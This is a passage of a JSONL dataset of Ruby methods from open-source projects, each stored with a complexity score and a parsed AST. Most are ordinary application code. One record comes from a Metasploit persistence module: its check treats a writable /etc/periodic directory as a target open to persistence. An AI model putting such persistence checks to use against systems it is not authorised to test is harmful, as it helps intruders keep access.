end","complexity_score":42.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"sym\",\"children\":[\"admin_label\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[null,\"find_label\",{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"send\",\"children\":[null,\"params_id_or_title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_ancestor_groups\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"update_priority\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"priority\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"priority\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"priority\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"label_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"labels_archive\"]},{\"type\":\"sym\",\"children\":[\"instance\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"archived\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"update_params\",{\"type\":\"send\",\"children\":[null,\"declared_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_missing\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_params\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"sym\",\"children\":[\"admin_label\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Labels\"]},\"UpdateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"update_params\"]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"label\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"valid?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_validation_error!\",{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"lvar\",\"children\":[\"update_priority\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"priority\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"unprioritize!\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"prioritize!\",{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"priority\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}]}]}","id":"06466015-dddf-4a80-b8b7-0f38d694da5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb","start_line":4,"raw_source":"def check_release_files(expected_release_content)\n    distribution.reload\n\n    expect(expected_release_content).not_to include('MD5')\n\n    distribution.file.use_file do |file_path|\n      expect(File.read(file_path)).to eq(expected_release_content)\n    end\n\n    expect(distribution.file_signature).to start_with(\"-----BEGIN PGP SIGNATURE-----\\n\")\n    expect(distribution.file_signature).to end_with(\"\\n-----END PGP SIGNATURE-----\\n\")\n\n    distribution.signed_file.use_file do |file_path|\n      signed_file_content = File.read(file_path)\n      expect(signed_file_content).to start_with(\"-----BEGIN PGP SIGNED MESSAGE-----\\nHash:\")\n      expect(signed_file_content).to include(\"\\n\\n#{expected_release_content}-----BEGIN PGP SIGNATURE-----\\n\")\n      expect(signed_file_content).to end_with(\"\\n-----END PGP SIGNATURE-----\\n\")\n    end\n  end","complexity_score":49.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_release_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected_release_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distribution\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"expected_release_content\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"str\",\"children\":[\"MD5\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distribution\"]},\"file\"]},\"use_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"expected_release_content\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distribution\"]},\"file_signature\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"start_with\",{\"type\":\"str\",\"children\":[\"-----BEGIN PGP SIGNATURE-----\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distribution\"]},\"file_signature\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"end_with\",{\"type\":\"str\",\"children\":[\"\\n-----END PGP SIGNATURE-----\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distribution\"]},\"signed_file\"]},\"use_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"signed_file_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"signed_file_content\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"start_with\",{\"type\":\"str\",\"children\":[\"-----BEGIN PGP SIGNED MESSAGE-----\\nHash:\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"signed_file_content\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_release_content\"]}]},{\"type\":\"str\",\"children\":[\"-----BEGIN PGP SIGNATURE-----\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"signed_file_content\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"end_with\",{\"type\":\"str\",\"children\":[\"\\n-----END PGP SIGNATURE-----\\n\"]}]}]}]}]}]}]}","id":"f87a1d31-1e4a-4d6e-920e-0b1d37618b6f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":929,"raw_source":"def save_reply_relationships\n    add_to_quoted_post_numbers(reply_to_post_number)\n    return if self.quoted_post_numbers.blank?\n\n    # Create a reply relationship between quoted posts and this new post\n    self.quoted_post_numbers.each do |p|\n      post = Post.find_by(topic_id: topic_id, post_number: p)\n      create_reply_relationship_with(post)\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"save_reply_relationships\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_to_quoted_post_numbers\",{\"type\":\"send\",\"children\":[null,\"reply_to_post_number\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"quoted_post_numbers\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"quoted_post_numbers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[null,\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_reply_relationship_with\",{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}]}]}]}","id":"caae7e80-7799-40cb-999c-d55118459283"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query.rb","start_line":360,"raw_source":"def group_by_statement\n    group_by_column&.groupable\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"group_by_statement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_by_column\"]},\"groupable\"]}]}","id":"a5a59a85-4aa6-4c39-92d6-61767003fe4d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/persistence/periodic_script.rb","start_line":65,"raw_source":"def check\n    periodic = \"/etc/periodic/#{datastore['PERIODIC_DIR']}/\"\n\n    return CheckCode::Vulnerable \"#{periodic} is writable\" if writable? periodic\n\n    CheckCode::Safe \"Unable to write to #{periodic}\"\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"periodic\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/etc/periodic/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PERIODIC_DIR\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"lvar\",\"children\":[\"periodic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"periodic\"]}]},{\"type\":\"str\",\"children\":[\" is writable\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to write to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"periodic\"]}]}]}]}]}]}","id":"c2e0b6e9-216a-4286-bb26-e0755cc34323"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/wmap.rb","start_line":1477,"raw_source":"def view_site_tree(urlstr, md, ld)\n        if !urlstr\n          return\n        end\n\n        site_whitelist = []\n\n        urls = urlstr.to_s.split(/\\s+/)\n\n        urls.each do |url|\n          next if url.to_s.strip.empty?\n\n          vhost = nil\n\n          # Allow the URL to be supplied as VHOST,URL if a custom VHOST\n          # should be used. This allows for things like:\n          #   localhost,http://192.168.0.2/admin/\n\n          if url !~ /^http/\n            vhost, url = url.split(',', 2)\n\n            if url.to_s.empty?\n              url = vhost\n              vhost = nil\n            end\n          end\n\n          # Prefix http:// when the URL has no specified parameter\n          if url !~ %r{^[a-z0-9A-Z]+://}\n            url = 'http://' + url\n          end\n\n          uri = begin\n            URI.parse(url)\n          rescue StandardError\n            nil\n          end\n          if !uri\n            print_error(\"Could not understand URL: #{url}\")\n            next\n          end\n\n          if uri.scheme !~ /^https?/\n            print_error(\"Only http and https URLs are accepted: #{url}\")\n            next\n          end\n\n          site_whitelist << [vhost || uri.host, uri]\n        end\n\n        # Skip the DB entirely if no matches\n        return if site_whitelist.empty?\n\n        site_whitelist.each do |ent|\n          vhost, target = ent\n\n          host = framework.db.workspace.hosts.find_by_address(target.host)\n          unless host\n            print_error(\"No matching host for #{target.host}\")\n            next\n          end\n          serv = host.services.find_by_port_and_proto(target.port, 'tcp')\n          unless serv\n            print_error(\"No matching service for #{target.host}:#{target.port}\")\n            next\n          end\n\n          sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id)\n\n          sites.each do |site|\n            t = load_tree(site)\n            print_tree(t, target.host, md, ld)\n            print_line(\"\\n\")\n          end\n        end\n      end","complexity_score":97.0,"ast_json":"{\"type\":\"def\",\"children\":[\"view_site_tree\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"urlstr\"]},{\"type\":\"arg\",\"children\":[\"md\"]},{\"type\":\"arg\",\"children\":[\"ld\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urlstr\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"site_whitelist\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"urls\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urlstr\"]},\"to_s\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"to_s\"]},\"strip\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"vhost\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^http\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vhost\"]},{\"type\":\"lvasgn\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"to_s\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"lvar\",\"children\":[\"vhost\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vhost\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[a-z0-9A-Z]+://\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not understand URL: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^https?\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Only http and https URLs are accepted: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_whitelist\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]}]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_whitelist\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_whitelist\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vhost\"]},{\"type\":\"lvasgn\",\"children\":[\"target\"]}]},{\"type\":\"lvar\",\"children\":[\"ent\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"workspace\"]},\"hosts\"]},\"find_by_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"host\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No matching host for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"host\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"serv\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"services\"]},\"find_by_port_and_proto\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"port\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serv\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No matching service for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"port\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sites\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serv\"]},\"web_sites\"]},\"where\",{\"type\":\"str\",\"children\":[\"vhost = ? and service_id = ?\"]},{\"type\":\"lvar\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serv\"]},\"id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sites\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"site\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[null,\"load_tree\",{\"type\":\"lvar\",\"children\":[\"site\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_tree\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"host\"]},{\"type\":\"lvar\",\"children\":[\"md\"]},{\"type\":\"lvar\",\"children\":[\"ld\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]}]}","id":"8f86ffcc-1f90-40c9-89b1-7e520698a0c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/group_descendants_finder.rb","start_line":150,"raw_source":"def paginated_subgroups_without_direct_descendents\n    # We remove direct descendants (ie. item.parent_id == parent_group.id) as we already have their parent\n    # i.e. `parent_group`.\n    paginator\n      .paginated_first_collection(page)\n      .reject { |item| item.parent_id == parent_group.id }\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"paginated_subgroups_without_direct_descendents\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paginator\"]},\"paginated_first_collection\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"parent_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_group\"]},\"id\"]}]}]}]}","id":"11cad8c3-b02f-4334-b389-f2ffc210ac2c"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/alert_channel.rb","start_line":27,"raw_source":"def email_recipients\n    ((configuration&.with_indifferent_access&.[](:extra_email_recipients) || []) +\n    alert.workspace.verified_admin_user_emails).uniq\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"email_recipients\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"with_indifferent_access\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extra_email_recipients\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alert\"]},\"workspace\"]},\"verified_admin_user_emails\"]}]}]},\"uniq\"]}]}","id":"376722b9-726a-4dc6-af83-cec059c1fbe6"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks.rb","start_line":168,"raw_source":"def self.checks_to_run tracker\n    to_run = if tracker.options[:run_all_checks] or tracker.options[:run_checks]\n               @checks + @optional_checks\n             else\n               @checks.dup\n             end.to_set\n\n    if enabled_checks = tracker.options[:enable_checks]\n      @optional_checks.each do |c|\n        if enabled_checks.include? self.get_check_name(c)\n          to_run << c\n        end\n      end\n    end\n\n    self.filter_checks to_run, tracker\n  end","complexity_score":25.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"checks_to_run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to_run\",{\"type\":\"send\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_all_checks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_checks\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@checks\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@optional_checks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@checks\"]},\"dup\"]}]},\"to_set\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enabled_checks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enable_checks\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@optional_checks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled_checks\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_check_name\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_run\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filter_checks\",{\"type\":\"lvar\",\"children\":[\"to_run\"]},{\"type\":\"lvar\",\"children\":[\"tracker\"]}]}]}]}","id":"57e34481-da4d-4ee7-b6e0-bc05f992e708"}
